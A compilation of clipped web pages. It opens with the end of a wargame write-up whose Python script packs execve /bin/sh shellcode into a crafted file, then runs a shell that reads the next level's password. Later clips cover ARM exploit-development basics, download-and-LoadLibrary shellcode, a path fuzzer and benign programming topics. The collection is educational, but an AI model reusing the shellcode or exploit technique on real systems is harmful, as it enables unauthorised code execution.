The only open question left is - what is ebp?  
Let's take a look:  

[code]

    level5@blackbox:~$ gdb list
    ...
    (gdb) break main
    Breakpoint 1 at 0x8048216
    (gdb) run
    Starting program: /home/level5/list 
    
    Breakpoint 1, 0x08048216 in main ()
    (gdb) p $ebp
    $1 = (void *) 0xbfffd8f8
[/code]

  
Well, this means that we need to override fp with ebp-0x2878=0xbfffb080.  
This is not good, because in 0xbf**ff** b0a0 we have 0xff which we can not
write.  
This pretty much closes the lid on everything we were planning so far, because
the basic premise of the entire strategy is that we can redirect fp to our own
file structure.  
However, we should not abandon all hope, because we have the power to make the
stack begin much lower by simply feeding some very long argument to the
program. Let's see how this works:  

[code]

    (gdb) run `python -c "print 'a'*0x100"`
    Starting program: /home/level5/list `python -c "print 'a'*0x100"`
    
    Breakpoint 1, 0x08048216 in main ()
    (gdb) p $ebp
    $1 = (void *) 0xbfffd7f8
[/code]

This address is lower by 0x100 bytes than ebp when running without parameters.
Let's try again now with an even larger number:  

[code]

    (gdb) run `python -c "print 'a'*0x10000"`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: **/home/level5/list** `python -c "print 'a'*0x10000"`
    
    Breakpoint 1, 0x08048216 in main ()
    (gdb) p $ebp
    $2 = (void *) 0xbffed8f8
[/code]

Bingo\! that is our ebp for reasons I'll go into in a pending article. Suffice
to say that when running list inside gdb we have argv\[0\]=/home/level5/list
\(as I highlighted above\) , and when running from /tmp we have
argv\[0\]=/home/level5/list, which are the same.  
  
Well, now that we have all our constants and strategies settled down, we can
generate the input file. I like using scripts:  

[code]

    level5@blackbox:~$ cd /tmp/
    level5@blackbox:/tmp$ cat > genfile.py
    import struct
    EBP = 0xbffed8f8
    FIXEDBUF = EBP - 0x2878
    I = EBP - 0x8
    PTR1 = FIXEDBUF + 0x98
    PTR2 = FIXEDBUF + 0xbc
    SHELLCODE = "31c050682f2f7368682f62696e89e3505389e131d2b00bcd80".decode("hex")
    
    FILE = ""
    FILE += struct.pack("<L", 0x08080808)
    FILE += '\x90' * 0x90
    FILE += struct.pack("<L", PTR1)
    FILE += '\x90' * 0x20
    FILE += struct.pack("<L", PTR2)
    FILE += SHELLCODE
    FILE += '\x90' * (10340 - len(FILE))
    FILE += struct.pack("<L", 0x02020270)
    FILE += struct.pack("<L", FIXEDBUF)
    FILE += struct.pack("<L", I + 2)[0]
    FILE += '\x03'
    
    f = open('somefile', 'wb')
    f.write(FILE)
    f.close()
    
    level5@blackbox:/tmp$ python genfile.py
[/code]

Let's give it a shot:  

[code]

    level5@blackbox:/tmp$ ~/list `python -c "print 'a'*0x10000"`
    sh-3.1$ cat /home/level6/password
    ???????????????
[/code]

And we're done\!

Posted by  danzat  at 1:16 PM 0 comments

Email ThisBlogThis\!Share to TwitterShare to Facebook

Labels: blackbox, hacking

Older Posts Home

Subscribe to: Posts \(Atom\)

## Blog Archive

  * ▼  2012 \(8\)
    * ▼  January \(8\)
      * Blackbox - chapter 8
      * Blackbox - chapter 7
      * Blackbox - chapter 6
      * Blackbox - chapter 5
      * Blackbox - chapter 4
      * Blackbox - chapter 3
      * Blackbox - chapter 2
      * Blackbox - chapter 1

## About Me

danzat

View my complete profile

## Followers

|  
---|---  
Simple template. Powered by Blogger.

Vimium has been updated to 1.30.x

  *[11:25 AM]: 2012-01-28T11:25:00-08:00
  *[7:02 AM]: 2012-01-28T07:02:00-08:00
  *[11:30 AM]: 2012-01-27T11:30:00-08:00
  *[1:16 PM]: 2012-01-25T13:16:00-08:00

# Writing ARM Assembly \(Part 1\) | Azeria-Labs
**Created:**| _5/28/2017 11:01:42 AM_  
---|---  
**Updated:**| _5/28/2017 11:01:42 AM_  
**Author:**| __  
**Tags:**| _asm arm_  
  

  

Introduction to ARM Assembly Basics

Welcome to this tutorial series on ARM assembly basics. This is the
preparation for the followup tutorial series on ARM exploit development \(not
published yet\). Before we can dive into creating ARM shellcode and build ROP
chains, we need to cover some ARM Assembly basics first.

The following topics will be covered step by step:

ARM Assembly Basics Tutorial Series:  
Part 1: Introduction to ARM Assembly  
Part 2: Data Types Registers  
Part 3: ARM Instruction Set  
Part 4: Memory Instructions: Loading and Storing Data  
Part 5: Load and Store Multiple  
Part 6: Conditional Execution and Branching  
Part 7: Stack and Functions

To follow along with the examples, you will need an ARM based lab environment.
If you don’t have an ARM device \(like Raspberry Pi\), you can set up your own
lab environment in a Virtual Machine using QEMU and the Raspberry Pi distro by
following this tutorial. If you are not familiar with basic debugging with
GDB, you can get the basics in this tutorial.

### Why ARM?

This tutorial is generally for people who want to learn the basics of ARM
assembly. Especially for those of you who are interested in exploit writing on
the ARM platform. You might have already noticed that ARM processors are
everywhere around you. When I look around me, I can count far more devices
that feature an ARM processor in my house than Intel processors. This includes
phones, routers, and not to forget the IoT devices that seem to explode in
sales these days. That said, the ARM processor has become one of the most
widespread CPU cores in the world. Which brings us to the fact that like PCs,
IoT devices are susceptible to improper input validation abuse such as buffer
overflows. Given the widespread usage of ARM based devices and the potential
for misuse, attacks on these devices have become much more common.

Yet, we have more experts specialized in x86 security research than we have
for ARM, although ARM assembly language is perhaps the easiest assembly
language in widespread use. So, why aren’t more people focusing on ARM?
Perhaps because there are more learning resources out there covering
exploitation on Intel than there are for ARM. Just think about the great
tutorials on Intel x86 Exploit writing by the Corelan Team – Guidelines like
these help people interested in this specific area to get practical knowledge
and the inspiration to learn beyond what is covered in those tutorials. If you
are interested in x86 exploit writing, the Corelan tutorials are your perfect
starting point. In this tutorial series here, we will focus on assembly basics
and exploit writing on ARM.

ARM processor vs. Intel processor

There are many differences between Intel and ARM, but the main difference is
the instruction set. Intel is a CISC \(Complex Instruction Set Computing\)
processor that has a larger and more feature-rich instruction set and allows
many complex instructions to access memory. It therefore has more operations,
addressing modes, but less registers than ARM. CISC processors are mainly used
in normal PC’s, Workstations, and servers.

ARM is a RISC \(Reduced instruction set Computing\) processor and therefore
has a simplified instruction set \(100 instructions or less\) and more general
purpose registers than CISC. Unlike Intel, ARM uses instructions that operate
only on registers and uses a Load/Store memory model for memory access, which
means that only Load/Store instructions can access memory. This means that
incrementing a 32-bit value at a particular memory address on ARM would
require three types of instructions \(load, increment and store\) to first
load the value at a particular address into a register, increment it within
the register, and store it back to the memory from the register.

The reduced instruction set has its advantages and disadvantages. One of the
advantages is that instructions can be executed more quickly, potentially
allowing for greater speed \(RISC systems shorten execution time by reducing
the clock cycles per instruction\). The downside is that less instructions
means a greater emphasis on the efficient writing of software with the limited
instructions that are available. Also important to note is that ARM has two
modes, ARM mode and Thumb mode. Thumb mode is intended primarily to increase
code density by using 16-bit instead of 32-bit instructions.

More differences between ARM and x86 are:

  * In ARM, most instructions can be used for conditional execution.
  * The Intel x86 and x86-64 series of processors use the **little-endian** format
  * The ARM architecture was little-endian before version 3. Since then ARM processors became **BI-endian** and feature a setting which allows for _switchable_ endianness.

There are not only differences between Intel and ARM, but also between
different ARM version themselves. This tutorial series is intended to keep it
as generic as possible so that you get a general understanding about how ARM
works. Once you understand the fundamentals, it’s easy to learn the nuances
for your chosen target ARM version. The examples in this tutorial were created
on an ARMv6 \(Raspberry Pi 1\). Some of the differences include:

  * Registers on ARMv6 and ARMv7 start with the letter R \(R0, R1, etc\), while ARMv8 registers start with the letter X \(X0, X1, etc\).
  * The amount of general purpose registers might also vary, however in most case only 16 are accessible in User Mode.

The naming of the different ARM versions might also be confusing:

ARM family | ARM architecture  
---|---  
ARM7 | ARM v4  
ARM9 | ARM v5  
ARM11 | ARM v6  
Cortex-A | ARM v7-A  
Cortex-R | ARM v7-R  
Cortex-M | ARM v7-M  
Writing Assembly

Before we can start diving into ARM exploit development we first need to
understand the basics of Assembly language programming, which requires a
little background knowledge before you can start to appreciate it. But why do
we even need ARM Assembly, isn’t it enough to write our exploits in a “normal”
programming / scripting language? It is not, if we want to be able to do
Reverse Engineering and understand the program flow of ARM binaries, build our
own ARM shellcode, craft ARM ROP chains, and debug ARM applications.

You don’t need to know every little detail of the Assembly language to be able
to do Reverse Engineering and exploit development, yet some of it is required
for understanding the bigger picture. The fundamentals will be covered in this
tutorial series. If you want to learn more you can visit the links listed at
the end of this chapter.

So what exactly is Assembly language? Assembly language is just a thin syntax
layer on top of the machine code which is composed of instructions, that are
encoded in binary representations \(machine code\), which is what our computer
understands. So why don’t we just write machine code instead? Well, that would
be a pain in the ass. For this reason, we will write assembly, ARM assembly,
which is much easier for humans to understand. Our computer can’t run assembly
code itself, because it needs machine code. The tool we will use to assemble
the assembly code into machine code is a GNU Assembler from the GNU Binutils
project named ** _as_** which works with source files having the \*.s
extension.

Once you wrote your assembly file with the extension \*.s, you need to
assemble it with as and link it with ld:

[code]

    $ as program.s -o program.o
    $ ld program.o -o program
[/code]

<img src='img/12885_gif-assembly-to-machine-code.gif' width='707' height='250'
/>

Assembly under the hood

Let’s start at the very bottom and work our way up to the assembly language.
At the lowest level, we have our electrical signals on our circuit. Signals
are formed by switching the electrical voltage to one of two levels, say 0
volts \(‘off’\) or 5 volts \(‘on’\). Because just by looking we can’t easily
tell what voltage the circuit is at, we choose to write patterns of on/off
voltages using visual representations, the digits 0 and 1, to not only
represent the idea of an absence or presence of a signal, but also because 0
and 1 are digits of the binary system. We then group the sequence of 0 and 1
to form a machine code instruction which is the smallest working unit of a
computer processor. Here is an example of a machine language instruction:

1110 0001 1010 0000 0010 0000 0000 0001

So far so good, but we can’t remember what each of these patterns \(of 0 and
1\) mean. For this reason, we use so called mnemonics, abbreviations to help
us remember these binary patterns, where each machine code instruction is
given a name. These mnemonics often consist of three letters, but this is not
obligatory. We can write a program using these mnemonics as instructions. This
program is called an Assembly language program, and the set of mnemonics that
is used to represent a computer’s machine code is called the Assembly language
of that computer. Therefore, Assembly language is the lowest level used by
humans to program a computer. The operands of an instruction come after the
mnemonic\(s\). Here is an example:

MOV R2, R1

Now that we know that an assembly program is made up of textual information
called mnemonics, we need to get it converted into machine code. As mentioned
above, in the case of ARM assembly, the GNU Binutils project supplies us with
a tool called **as**. The process of using an assembler like **as** to convert
from \(ARM\) assembly language to \(ARM\) machine code is called assembling.

In summary, we learned that computers understand \(respond to\) the presence
or absence of voltages \(signals\) and that we can represent multiple signals
in a sequence of 0s and 1s \(bits\). We can use machine code \(sequences of
signals\) to cause the computer to respond in some well-defined way. Because
we can’t remember what all these sequences mean, we give them abbreviations –
mnemonics, and use them to represent instructions. This set of mnemonics is
the Assembly language of the computer and we use a program called Assembler to
convert code from mnemonic representation to the computer-readable machine
code, in the same way a compiler does for high-level languages.

  

# Homomorphic encryption implementation — shapeCPU

**Created:**| _1/31/2012 7:35:01 PM_  
---|---  
**Updated:**| _1/31/2012 7:35:13 PM_  
**Author:**| __  
**Tags:**| _research cloud computing crypto Distributed systems_  
  

# hcrypt project

an opensource homomorphic encryption implementation

  * Welcome\!
  * scarab library
  * shapeCPU
  * About
  * Imprint

Download CPU

Download libraries

## shapeCPU

### Introduction

A growing number of compute and data storage jobs is performed on remote
resources. In a cloud environment the customer can’t be sure where a
particular job is physically executed and thus cannot rely on the security and
confidentiality of the remote resource. A solution for this problem is the
operation on encrypted functions and encrypted data. This enables a customer
to generate a program that can be executed by a third party, without revealing
the underlying algorithm or the processed data. This helps securing
applications and data in a distributed digital ecosystem. The shapeCPU is a
method to compute a secret program on an untrusted resource using fully
homomorphic encrypted circuits. The concept solves the problems of encrypted
storage access with encrypted addresses and encrypted branching: in contrast
to other approaches, like static one-pass circuit simulations, our system
supports dynamic parameters and non-linear programs, that render
branchdecisions at runtime and cannot be represented in a circuit with hard-
wired in-circuit parameters and data. Our implementation comprises the runtime
environment for an encrypted program and an assembler to generate the
encrypted machine code.

Currently the runtime properties of the shapeCPU are very slow due to the
underlying homomorphic cryptographic operations. We hope this open source
project can serve as a foundation to actively encourage research and
participation into optimizing both the cryptographic performance as well as
the CPU performance. If you are interested in collaborating with us please
drop us a line.

### References

  1. Michael Brenner, Jan Wiebelitz, Gabriele von Voigt, Matthew Smith\(2011\): Secret Program Execution in the Cloud applying Homomorphic Encryption,Proceedings of the 5th IEEE International Conference on Digital Ecosystems and Technologies \(IEEE DEST 2011\), DOI:10.1109/DEST.2011.5936608, ISBN:978-1-4577-0871-8, pp. 114-119
  2. Michael Brenner, Jan Wiebelitz, Gabriele von Voigt, Matthew Smith\(2011\): A Smart-Gentry based Software System for Secret Pro gram Execution,Proceedings of the 6th International Conference on Security and Cryptography \(SECRYPT 2011\), pp. 238-244
  3. Henning Perl, Michael Brenner, Matthew Smith\(2011\): An Implementation of the Fully Homomorphic Smart-Vercauteren Crypto-System \(Poster\),Proceedings of the 18th ACM Conference on Computer and Communications Security \(ACM CCS 2011\)

### License

shapeCPU \(concept and implementation\) is patented material \(German patent
pending, amtl. Az. 10 2011 012 328.8\). Use is restricted to educational
purposes.

Vimium has been updated to 1.30.x

# Skypher

**Created:**| _1/12/2010 9:50:50 AM_  
---|---  
**Updated:**| _1/12/2010 9:50:55 AM_  
**Author:**| __  
**Tags:**| _shellcode Exploit_  
  

## Download and LoadLibrary shellcode released

Posted by SkyLined on January 11th, 2010 in Assembler, Programming Languages,
Security and Shellcode · 3 Comments

Everyone and their dog seems to want to use download and execute shellcode in
their exploits. Even though this has some drawbacks:

  * You need to create an .exe file on the system, which will very likely draw unwanted attention.
  * You cannot use an API that downloads your file to a temporary location, because that will likely not retain the .exe extention.
  * You need to make an assumption about where a safe place is to write your .exe file, which means you can guess wrong and the code fails.
  * You need to store the string ‘.exe’ in the download & execute shellcode, which means this is 4 bytes larger.
  * You need to spawn an extra process, which will very likely draw attention.
  * You leave cleaning up the exploited process to the download & execute shellcode, which means this needs to be larger.

To get around these problems, I created download and LoadLibrary shellcode: a
shellcode that will download a DLL file to a temporary file and load it into
the exploited process using LoadLibrary. The benefits of this approach are:

  * Smaller code.
  * You can use the `URLDownloadToCacheFileA` API function in urlmon that downloads and saves your DLL to a temporary file, meaning you do not need to provide a location.
  * No need to create an .exe file on the system: the extention of a DLL is irrelevant.
  * No need to spawn an extra process.
  * You can clean up the exploited process from the code in the DLL instead of the shellcode.

The size of the final shellcode depends on the length of the URL for your DLL.
For most recent version of the code it is 138 bytes + the length of the URL.
This is a pretty decent reduction from the average download and execute
shellcodes of 200+ bytes \(excluding the URL\) that I found around the
interwebs.

Project homepage:  
http://code.google.com/p/w32-dl-loadlib-shellcode/

# Undocumented Windows Functions

**Created:**| _10/29/2011 1:43:06 PM_  
---|---  
**Updated:**| _10/29/2011 1:43:06 PM_  
**Author:**| __  
**Tags:**| _windows environment awesome_  
  

# UnDoc'd

Filling MSDN's native holes a function at a time

A collection of MSDN-alike pages for functions not listed on MSDN. Created via
the means of disassembly from Windows 7 binaries. Use the links on the left to
start browsing definitions. An access database containing import, export, and
module information can be found here.

A zip containing html files can be found here

# Layer 8

**Created:**| _1/17/2011 9:37:24 PM_  
---|---  
**Updated:**| _1/17/2011 9:37:36 PM_  
**Author:**| __  
**Tags:**| _analysis risk-management_  
  

## Connecting the risk dots.

So here’s something that’s been bugging me for a while.

Please note: I am a cheerleader by day AND night for application security
initiatives. I believe we need to make software more secure and—dare I say
it?—Rugged. However, I am also keenly aware of some of the attitudes that the
rest of the businesspeople have towards security. They don’t agree with our
risk assessments, but can’t always say why. Here’s a prime example of the
hidden logic FAIL that can lead to risk misalignment between the security team
and its customers.

A vendor—or analyst firm, whatever—produces a paper touting the conventional
wisdom that it’s a lot cheaper to fix software vulnerabilities early in the
SDLC than just before or after deployment. And I can get behind that idea,
certainly. But the reasoning being produced to support it often ends up to be
circular.

The sequence goes like this:

1\. Claim that finding and fixing security vulnerabilities early increases
ROI.

2\. Cost is calculated by the amount of money it takes to fix the
vulnerabilities that were found.

3\. The initial investment is defined to be what you paid for the application
security program \(including testing, tools and whatnot\).

4\. **ROI is claimed to be the amount you save in having to fix
vulnerabilities that you paid for someone to find.**

When it comes to counting the investment against the cost to fix actual
breaches, the whitepapers mostly get vague. They list all the vulnerabilities
found, describe how bad they were—but don’t actually show that they led to
specific breaches that incurred real costs. They’re assuming that a
vulnerability is bad and needs to be fixed, regardless of whether the
vulnerability is EVER exploited.

Let me turn the mirror around and show you how we look from the other, non-
security side.

We come in and demand a lot of money to set up an application security
program. We test, and come out with a list of things that we say are
theoretically bad and that could lead to a theoretical breach sometime in the
future. We make the developers fix those vulnerabilities that we think are
bad. Then we track the cost of fixing those, and say that they’re saving money
if they fix them sooner rather than later.

Well, they could have saved money to begin with by not building an application
security program at all\! If you look at it from a certain angle, the security
team generated its own cost to development, and then claimed that it was
saving money by having developers fix those security-generated findings at a
different time. **The security team created its own additional cost to the
business, and there’s nothing to indicate that the business wouldn’t just have
been better off financially by not doing security testing in the first
place.**

We need to connect the dots better, people. We need to trace a discovered
vulnerability from its creation, through the SDLC, into deployment, and then
connect it to an actual breach, leading to a real monetary loss suffered by
the business. THERE’S your ROI \(or more specifically, cost avoidance\). If
you can prove THAT, then maybe you can prove your risk case to the executives.

But with most of the arguments I see right now, it’s just as easy to use them
to point out that the business can save a lot of money just by not inviting
those pesky security people in to create more work for the developers. That’s
why many businesses reflexively resist making application security a priority.
From their perspective, it’s just going to inflate their development costs for
no predictable return, even in the form of cost avoidance.

If we want to make a financial argument for security, it’s going to have to be
robust in its logic and based on evidence.

# CSCI 4974 / 6974 Hardware Reverse Engineering

**Created:**| _8/22/2015 1:59:04 PM_  
---|---  
**Updated:**| _8/22/2015 1:59:04 PM_  
**Author:**| __  
**Tags:**| __  
  
  

# CSCI 4974 / 6974 Hardware Reverse Engineering

**Important info:**

  * Classes: Tuesday/Friday, 2:00 - 3:50, Low 3130
  * Professor: Bulent Yener \(yener@cs.rpi.edu\). Office hours TBA
  * TA: Andrew Zonenberg \(zonena@rpi.edu\). Office hours AE 119 Tuesday/Friday 5-7 PM.
  * Download the Syllabus

**Timeline**  
_Draft notes for upcoming lectures are provided for advance study purposes
only and are subject to change. The version posted as of the end of lecture is
authoritative as far as material which will be covered on quizzes etc._

Date | Class  
---|---  
1/21/2014 | Lecture 1: Course overview, motivation, legal issues, switch model of CMOS logic  
1/24/2014 | Lecture 2: Package construction  
1/28/2014 |  Quiz 1: CMOS schematics, packaging  
Quiz 1a: Makeup exam  
Lecture 3: Depackaging  
1/31/2014 |  Lab 1: Depackaging demo \(Lab group A only, no class for group B. Location: MRC 166 EM lab\)   
2/4/2014 | Lab 1: Depackaging demo \(Lab group B only, no class for group A. Location: MRC 166 EM lab\)   
2/7/2014 |  Lab 1a reports due  
Quiz 2: Depackaging  
Lecture 4: CMOS layout  
Download the example layouts  
2/11/2014 |  Lab 1b reports due  
Quiz 3: CMOS layout  
Homework 1 out  
Homework 1 images  
More homework 1 images  
Lecture 5: Fabrication processes  
2/14/2014 |  **No class** : Canceled due to heavy snow.   
2/18/2014 |  **No class** : Follow Monday schedule.   
2/21/2014 |  Lecture 6: Deprocessing  
2/25/2014 |  Quiz 4: Process ID and deprocessing  
Lecture 7: CPLD architecture  
2/28/2014 |  Quiz 5: CPLD architecture  
Lecture 8: Microscopy and Imaging  
Files for in-class exercise  
  
3/4/2014 |  Lab 2: SEM Imaging \(Lab group A only, no class for group B. Location: MRC EM lab\)   
3/7/2014 |  Lab 2: SEM Imaging \(Lab group B only, no class for group A. Location: MRC EM lab\)  
  
3/11/2014 |  **No class:** Spring break   
3/14/2014 |  **No class:** Spring break  
Happy pi day\!  
3/18/2014 |  Homework 1 due \(tentative\)  
Lab 2 reports due \(both groups\)  
Quiz 6: Microscopy and imaging  
Lecture 9: Mask ROM layout  
3/21/2014 |  Lecture 10: PROM/EPROM/EEPROM/efuse/Flash layout  
3/25/2014 |  Lecture 11: SRAM layout  
3/28/2014 |  Quiz 7: Memory technology  
Lecture 12: Non-invasive attacks on logic  
4/1/2014 |  Lecture 13: Fault attacks on crypto \(joint lecture by Prof. Yener and graduate student Brennan\)  
Prof. Yener's slides  
Brennan's slides  
4/4/2014 |  Lecture 14: Invasive and semi-invasive attacks  
Lab 3: UV light attacks on PIC12F683 \(both groups, during normal class
period\)  
4/8/2014 |  Lab 4: Invasive attacks \(Lab group A only, no class for group B. Location: Cleanroom test area\)   
4/11/2014 |  Lab 4: Invasive attacks \(Lab group B only, no class for group A. Location: Cleanroom test area\)   
4/15/2014 |  Quiz 8: Attacks  
Homework 2 out: PCB RE \(see slides\)  
Lecture 15: PCB RE: Component ID, block diagram extraction  
4/18/2014 |  Lecture 16: Guest lecture by Danny Walters \(MITRE\) on electromagnetic side-channel attacks   
4/22/2014 |  Lecture 17: Anti-tamper / anti-analysis techniques  
4/25/2014 |  Lecture 18: PCB RE: Fab, deprocessing, netlist extraction  
4/29/2014 |  Quiz 9: PCB RE  
Lecture 19: Programmable logic: FPGAs  
5/2/2014 |  Lecture 20: Machine vision, automated RE tools  
5/6/2014 |  Homework 2 presentations. No final exam.   
**Announcements**

  * 1/25/2014: Syllabus updated for new lab schedule and office hour times/locations
  * 1/28/2014: Check out the list of interesting chips we might decap in lab \#1. If anyone has votes, send them to the TA. \(Large CPU packages are off limits for the lab because they tend to take a while to process.\) 
  * 2/2/2014: Lab 1a data is available: 
    * Xilinx XC3S50AN \(70% nitric, live decap\)
    * Xilinx XC9572XL \(70% nitric, bare die\)
    * Xilinx XC2C128 \(98% sulfuric, bare die\)
    * Photos from lab session
  * 2/4/2014: You may find this blog post on UMC's 180nm process an interesting read.
  * 2/4/2014: Lab 1b data is being uploaded. Stay tuned for more\! 
    * Silicon Image SII1364 \(70% nitric, bare die\)
    * Xilinx XC95144XL \(98% sulfuric, bare die
    * Winbond W9751G6KB \(98% sulfuric, bare die, started prior to lab\)
    * Xilinx XC3S50A \(98% sulfuric, bare die, started prior to lab\)
    * Atmel ATmega3216 \(70% nitric, live decap\)
    * Photos from lab session
  * 2/23/2014: Office hours moved one hour later, new time is 5-7 PM. Same location and days.
  * 3/4/2014: Lab 2a data is now available
  * 3/13/2014: Lab 2b data is now available
  * 3/31/2014: 
    * Some scheduling changes for the later part of the semester have been made, please pay attention to the calendar above.
    * This blog post is a sneak peek at what to expect from lab 4.
    * The final project has been removed and final course grades will be computed from HW1/2, lab grades, and quiz grades only. HW2 is now a group assignment and presentations are due the last day of class.
  * 4/13/2014: Lab 4 data is now available 
    * FIB photos
    * Cleanroom photos

* * *
<img src='img/88x31.png' width='88' height='31' alt='Creative Commons License'
/>  
This work is licensed under a Creative Commons Attribution 4.0 International
License.

  

# zodiacon/GflagsX

**Created:**| _5/8/2017 8:24:01 AM_  
---|---  
**Updated:**| _5/8/2017 8:24:01 AM_  
**Author:**| __  
**Tags:**| _security tools reversing pecoff_  
  

  

# GflagsX

Enhanced version of the GFlags tool

GFlagsX is an enhanced version of the GFlags tool from Debugging Tools for
Windows. It has a much better user interface, and allows setting some options
not available with GFlags, such as process mitigation options.

  

# angryFuzzer - Tool for Information Gathering

**Created:**| _7/17/2017 11:35:03 AM_  
---|---  
**Updated:**| _7/17/2017 11:39:56 AM_  
**Author:**| __  
**Tags:**| _fuzzing_  
  

  

  

**angryFuzzer - Tool for Information Gathering**

  

 7:30 PM | Post sponsored by FaradaySEC | Multiuser Pentest Environment  

  

**** **Lydecker Black**

  

 Facebook      

  

<img src='img/angryFuzzer_.png' />

  

AngryFuzz3r is a collection of tools for pentesting to gather information and
discover vulnerabilities of the targets based on Fuzzedb
https://github.com/fuzzdb-project/fuzzdb project

  

  

**UrlFuzz3r- >AngryFuzz3r\_1**

  

Discover hidden files and directories on a web server. The application tries
to find URL relative paths of the given website by comparing them with a given
set.

  

  

  

  

**Features**

  

  * Fuzz URL set from an input fileConcurrent relative path searchConfigurable number of fuzzing workersFuzz CMS ==> Wordpress,Drupal,JoomlaGenerate reports of the valid paths

  

**Usage**

  

$ python angryFuzzer.py -h  
Usage: angryFuzzer.py \[options\]  
  
Options:  
  -h, --help            show this help message and exit  
  -q, --quiet          Silent mode ,only repport  
  -u URL, --url=URL      URL of the Target  
  -c CMS, --cms=CMS    scan CMS ==> wp ,dp  
  -w WORDLIST, --wordlist=WORDLIST  
                        Custom wordlist  
  

Example:

  

  * Fuzzing an URL with default dictionary

python angryFuzzer.py -u http://127.0.0.1

  * Fuzzing CMS \(wp: in this example \!\)

python angryFuzzer.py -u http://127.0.0.1 --cms wp

  * Fuzzing a Custom Wordlist

python angryFuzzer.py -u http://127.0.0.1 -w fuzzdb/discovery/predictable-
filepaths/php/PHP.txt

  

  

**How to install**

  

$ git clone https://github.com/ihebski/angryFuzzer.git  
$ cd angryFuzzer  
$ python angryFuzzer.py

  

  

**Download angryFuzzer**

  

<img src='img/13157_Categories-applications-utilities-icon.png' />

  

  * facebookdisqus

  

  

  

# Memory Leak Detection and Isolation

**Created:**| _12/20/2010 10:09:24 PM_  
---|---  
**Updated:**| _12/20/2010 10:09:44 PM_  
**Author:**| __  
**Tags:**| _C++ windows security C programming visualstudio Memory
corruptions_  
  

# Memory Leak Detection and Isolation

**Visual Studio 2005**

Other Versions

<img src='img/Temp2_5279.png' />

  * Visual Studio 2010
  * Visual Studio 2008
  * Visual Studio .NET 2003

This topic applies to:

Visual Studio Edition |  Visual Basic |  C\# |  C++ |  J\#  
---|---|---|---|---  
Express |  No |  No |  Native |  No  
Standard |  No |  No |  Native |  No  
Pro/Team |  No |  No |  Native |  No  
The ability to dynamically allocate and deallocate memory is one of the
strongest features of C/C++ programming, but the greatest strength can also be
the greatest weakness. This is certainly true of C/C++ applications, where
memory-handling problems are among the most common bugs.

One of the most subtle and hard-to-detect bugs is the memory leak—the failure
to properly deallocate memory that was previously allocated. A small memory
leak that occurs only once may not be noticed, but programs that leak large
amounts of memory, or leak progressively, may display symptoms ranging from
poor \(and gradually decreasing\) performance to running out of memory
completely. Worse, a leaking program may use up so much memory that it causes
another program to fail, leaving the user with no clue to where the problem
truly lies. In addition, even harmless memory leaks may be symptomatic of
other problems.

Fortunately, the Visual Studio debugger and C run-time \(CRT\) libraries
provide you with effective means for detecting and identifying memory leaks.
To understand how to detect memory leaks using the CRT debugging facilities,
read the following topics:

  * Enabling Memory Leak Detection
  * Interpreting Memory Block Types
  * Setting a Breakpoint on a Memory Allocation Number
  * Comparing Memory States

MFC provides its own set of facilities for detecting memory leaks in MFC
programs. For more information, see Detecting Memory Leaks in MFC.

# See Also

#### Concepts

Debugger Security

# Eli Bendersky's website » Blog Archive » Python internals: Symbol tables,
part 1

**Created:**| _9/8/2011 11:38:07 PM_  
---|---  
**Updated:**| _9/8/2011 11:38:07 PM_  
**Author:**| __  
**Tags:**| _python_  
  

## Python internals: Symbol tables, part 1

September 18th, 2010 at 8:03 am

### Introduction

This article is the first in a short series in which I intend to explain how
CPython \[1\] implements and uses symbol tables in its quest to compile Python
source code into bytecode. In this part I will explain what a symbol table is
and show how the general concepts apply to Python. In the second part I will
delve into the implementation of symbol tables in the core of CPython.

### So what is a symbol table?

As usual, it’s hard to beat Wikipedia for a succinct definition:

> In computer science, a symbol table is a data structure used by a language
> translator such as a compiler or interpreter, where each identifier in a
> program’s source code is associated with information relating to its
> declaration or appearance in the source, such as its type, scope level and
> sometimes its location.
Symbol tables are used by practically all compilers. They’re especially
important in statically typed languages where all variables have types and
type checking by the compiler is an important part of the front-end.

Consider this C code:

[code]

    int main()
    {
        int aa, bb;
    
        bb = *aa;
    
        {
            int* aa;
            bb = *aa;
        }
    
        return 0;
    }
    
[/code]

There are two distinct assignments of the form `bb = *aa` here, but only the
second one is legal. The compiler throws the following error when it sees the
first one:

[code]

    error: invalid type argument of ‘unary *’ (have ‘int’)
    
[/code]

How does the compiler know that the `*` operator is given an argument of type
`int`, which is invalid for this operator? The answer is: the symbol table.
The compiler sees `*aa` and asks itself what the type of `aa` is. To answer
this question it consults the symbol table it constructed earlier. The symbol
table contains the declared types for all variables the compiler encountered
in the code.

This example demonstrates another important concept – for most languages a
single symbol table with information about all variables won’t do. The second
assignment _is_ valid, because in the internal scope created by the curly
braces `aa` is redefined to be of a pointer type. Thus, to correctly compile
such code the C compiler has to keep a separate symbol table per scope \[2\].

### A digression: "variables" in Python

So far I’ve been using the term "variable" liberally. Just to be on the safe
side, let’s clarify what is meant by _variable_ in Python. Formally, Python
doesn’t really have variables in the sense C has. Rather, Python has symbolic
names bound to objects:

[code]

    aa = [1, 2, 3]
    bb = aa
    aa[0] = 666
    
[/code]

In this code, `aa` is a name bound to a list object. `bb` is a name bound to
the same object. The third line modifies the list through `aa`, and if we
print out `bb` we’ll see the modified list as well.

Now, once this is understood, I will still use the term "variable" from time
to time since it’s occasionally convenient and everybody’s used to it anyway.

### Symbol tables for Python code

Alright, so symbol tables are very useful for type checking. But Python
doesn’t have compile-time type checking \(duck typing FTW\!\), so what does
CPython need symbol tables for?

The CPython compiler still has to resolve what kinds of variables are used in
the code. Variables in Python can be local, global or even bound by a
lexically enclosing scope. For example:

[code]

    def outer(aa):
        def inner():
            bb = 1
            return aa + bb + cc
        return inner
    
[/code]

The function `inner` uses three variables: `aa`, `bb` and `cc`. They’re all
different from Python’s point of view: `aa` is lexically bound in `outer`,
`bb` is locally bound in `inner` itself, and `cc` is not bound anywhere in
sight, so it’s treated as global. The bytecode generated for `inner` shows
clearly the different treatment of these variables:

[code]

    5           0 LOAD_CONST               1 (1)
                3 STORE_FAST               0 (bb)
    
    6           6 LOAD_DEREF               0 (aa)
                9 LOAD_FAST                0 (bb)
               12 BINARY_ADD
               13 LOAD_GLOBAL              0 (cc)
               16 BINARY_ADD
               17 RETURN_VALUE
    
[/code]

As you can see, different opcodes are used for loading the variables onto the
stack prior to applying `BINARY_ADD`. `LOAD_DEREF` is used for `aa`,
`LOAD_FAST` for `bb` and `LOAD_GLOBAL` for `cc`.

At this point, there are three different directions we can pursue on our path
to deeper understanding of Python:

